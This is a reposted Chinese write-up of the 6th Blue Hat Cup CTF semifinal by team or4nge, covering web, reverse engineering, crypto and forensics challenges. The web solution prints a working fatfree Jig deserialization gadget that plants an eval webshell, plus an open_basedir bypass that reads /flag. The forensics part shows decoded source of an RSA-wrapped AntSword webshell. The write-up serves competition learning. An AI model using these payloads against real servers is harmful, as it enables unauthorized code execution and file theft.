第六届蓝帽杯半决赛 writeup by or4nge

admin 2022年9月10日15:51:17CTF专场评论14 views5117字阅读17分3秒阅读模式

第六届蓝帽杯半决赛 writeup by or4nge
rank: 18th
or4nge 的师傅们在第六届“蓝帽杯”全国大学生网络安全技能大赛半决赛中取得18名的成绩并成功晋级决赛,师傅们真棒!

第六届蓝帽杯半决赛 writeup by or4nge

Web

easyfatfree

www.zip源码泄露,fatfree反序列化,入口点在Jig,本地测试能写进去,远程提示没有/var/www/html目录写权限,dirsearch扫到前端目录ui可写。

 1<?php
2namespace DB;
3
4//! In-memory/flat-file DB wrapper
5class Jig {
6
7    //@{ Storage formats
8    const
9        FORMAT_JSON=0,
10        FORMAT_Serialized=1;
11    //@}
12    protected
13        //! Storage location
14        $dir = '/var/www/html/ui/',
15        //! Current storage format
16        $format = 'self::FORMAT_JSON',
17        //! Memory-held data
18        $data = array('or4nge.php'=>array('a'=>'<?php eval($_POST[1]);?>')),
19        //! lazy load/save files
20        $lazy = TRUE;
21
22    /**
23    *   Read data from memory/file
24    *   @return array
25    *   @param $file string
26    **/

27}
28$jig = new jig();
29echo urlencode(serialize($jig));

写shell后发现有open_basedir限制,绕过后直接读flag。

11=mkdir("s");chdir('s');ini_set('open_basedir','..');chdir('..');chdir('..');
2chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents("/flag");

Re

babynim

nim语言,根据符号表进入找到main函数

使用readLine获取输入

第六届蓝帽杯半决赛 writeup by or4nge

要求输入长度为42

第六届蓝帽杯半决赛 writeup by or4nge

验证flag格式并提取内容

第六届蓝帽杯半决赛 writeup by or4nge


第六届蓝帽杯半决赛 writeup by or4nge

将flag转换为数字,并与另一串数字56006392793428440965060594343955737638876552919041519193476344215226028549209672868995436445345986471相乘,要求结果为51748409119571493927314047697799213641286278894049840228804594223988372501782894889443165173295123444031074892600769905627166718788675801

整除即可获得flag

flag{923973256239481267349126498121231231}

Crypto

ecc_stream

本题的关键在于恢复p,总共有256组,猜测大概率有连续为0的4组,即在数组中均为点x的值,由点的递推关系可得3个同余方程组,将a^2和a视为两个不同变量,分别解出,再根据a^2-(a)^2==k*p得到kp,发现不止一组,求gcd得到p。后续都非常顺理成章了。

 1res = []
2for i in range(253):
3    var('aa a b')
4    eq = []
5    for j in range(3):
6        c0 = -2 * (F[i+j]^2)-4*F[i+j]*F[i+j+1]
7        c1 = -4 * F[i+j+1]-8*F[i+j]
8        c2 = F[i+j]^4 -4 * F[i+j+1] *(F[i+j]^3)
9        eq.append(aa+c0*a+c1*b+c2==0)
10    t0 = solve(eq, aa, a, b)[0][0].rhs()
11    t1 = solve(eq, aa, a, b)[0][1].rhs()
12    t1 = t1 ^ 2
13    le = t0.numerator() * t1.denominator()
14    rh = t0.denominator() * t1.numerator()
15    res.append(abs(le - rh))
16for i in range(253):
17    for j in range(i + 1253):
18        ans = gcd(res[i], res[j])
19        if ans > 2 ^ 200:
20            print(ans)
21            print(i, j)

解得a,b

 1zp = Zmod(p)
2for i in range(253):
3    var('aa a b')
4    eq = []
5    for j in range(3):
6        c0 = -2 * (F[i+j]^2)-4*F[i+j]*F[i+j+1]
7        c1 = -4 * F[i+j+1]-8*F[i+j]
8        c2 = F[i+j]^4 -4 * F[i+j+1] *(F[i+j]^3)
9        eq.append(aa+c0*a+c1*b+c2==0)
10    t0 = solve(eq, aa, a, b)[0][1].rhs()
11    t1 = solve(eq, aa, a, b)[0][2].rhs()
12    if i == 0:
13        print(zp(t0.numerator())*zp(t0.denominator())^(-1))
14        print(zp(t1.numerator())*zp(t1.denominator())^(-1))

还原x

 1p = 17820136898270565003583154860416743796390790040178335664072441472386305480761
2a = 9350908279444197743025002468741904275718898737006581492427705992219827176952
3b = 13500852895882965574928430100049589390809744881726797117323415176748623881582
4E = EllipticCurve(GF(p),[a,b])
5G = E(165819460652685672378174152327393864422280923286550831181893042461705974343326572297618785458302447485568200876595775007972363489568076029901524495685352)
6print(G)
7print(G.xy()[0])
8ans = 0
9for i in range(256):
10    try:
11        x, y = G.xy()
12        if F[i] == x:
13            ans += 0
14        else:
15            ans += 2^i
16        G = 2 * G
17    except:
18        print(G.xy())
19print(ans)

异或得到flag

1import random, hashlib
2from Crypto.Util.number import *
3enc = 'ba1e3092e2baba2ed9d70b5d847bb74d8a7b59461d16240c0017ed79c5e4052149129bc5d3c1112ad22e'
4a = 4009442033181566772244087448152745364151945732097529946674447227730338811104
5x = hashlib.sha384(long_to_bytes(a)).digest()
6flag = bytes([i^j for (i,j) in zip(bytes.fromhex(enc), x)])
7print(flag)

Misc

神秘的日志

用Windows事件查看器打开日志,阅读系统记录的操作逻辑发现日志记录时间顺序由近到远,NTLM过程中系统时间发生过改变。

查阅有关NTLM中继攻击的资料发现攻击过程中涉及到两次NTLM验证,即日志中的两条LSA记录。审计发现两次NTLM验证间系统发生了一次重启。查到对应的NTLM模式:https://www.freebuf.com/articles/web/336237.html

第六届蓝帽杯半决赛 writeup by or4nge

因此推测答案为security日志中第二次LSA记录的时间或NTLM验证结束后的第一次logon对应的时间,测试发现答案是md5{第二次LSA后第一个logon的timeCreated SystemTime}。

加密的通道

一条条追踪http流,发现行为顺序是:用蚁剑连接1.php,写了rsa.php后用加密流量rce,尝试ls,测试写了flag.txt,再ls,最后写了一个真的flag。

流量发现rsa.php是用phpjiami的php,用phpjiami_decode-master解密还原得到:

 1<?php
2$cmd = @$_POST['ant'];
3$pk = <<<EOF
4-----BEGIN PUBLIC KEY-----
5MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDieYmLtWbGRSvUtevSlTOozmWR

6qEGF4Hfvb1YCoVYAAlhnHnyMk+aLRvLXKgmerWiS+QD6y08Ispuzzn02tHE6d4Qp
7DuPiPO9PAdGSXzFVFLK2hOrkXLsDXugNTdVUprdkPPI1YY0ZnMs1bT2Zf2dfuBI5
80S5e5sSOF85kNq/zwwIDAQAB
9-----END PUBLIC KEY-----
10EOF;
11$cmds = explode("|", $cmd);
12$pk = openssl_pkey_get_public($pk);
13$cmd = '';
14foreach ($cmds as $value) {
15  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
16    $cmd .= $de;
17  }
18}
19foreach($_POST as $k => $v){
20  if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
21     $_POST[$k]=$de;
22}
23}
24eval($cmd);

很搞笑的是这是用公钥解密的,所以追踪最后一条流得到参数

k85c8f24ca50da=yLxWGRCHJBEhtpnW7XTEjZa8U06pkFvEqTea5ISI%2FLggnmMXPblFZ6sDNJHoym6I0CkQIYr62%2B8sauFSYOHtPEpFX62kBmMAxi7abHOzQl5FAf2VO5wiezcXRp5nLDfqHCLa0Y8T9kaplu81yXLzXtlhZYgrqMtDsFROJ%2BZKNN0%3D

用公钥解密后去掉前两位解base64即可。


原文始发于微信公众号(赛博安全社团):第六届蓝帽杯半决赛 writeup by or4nge

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月10日15:51:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  第六届蓝帽杯半决赛 writeup by or4nge http://cn-sec.com/archives/1288842.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: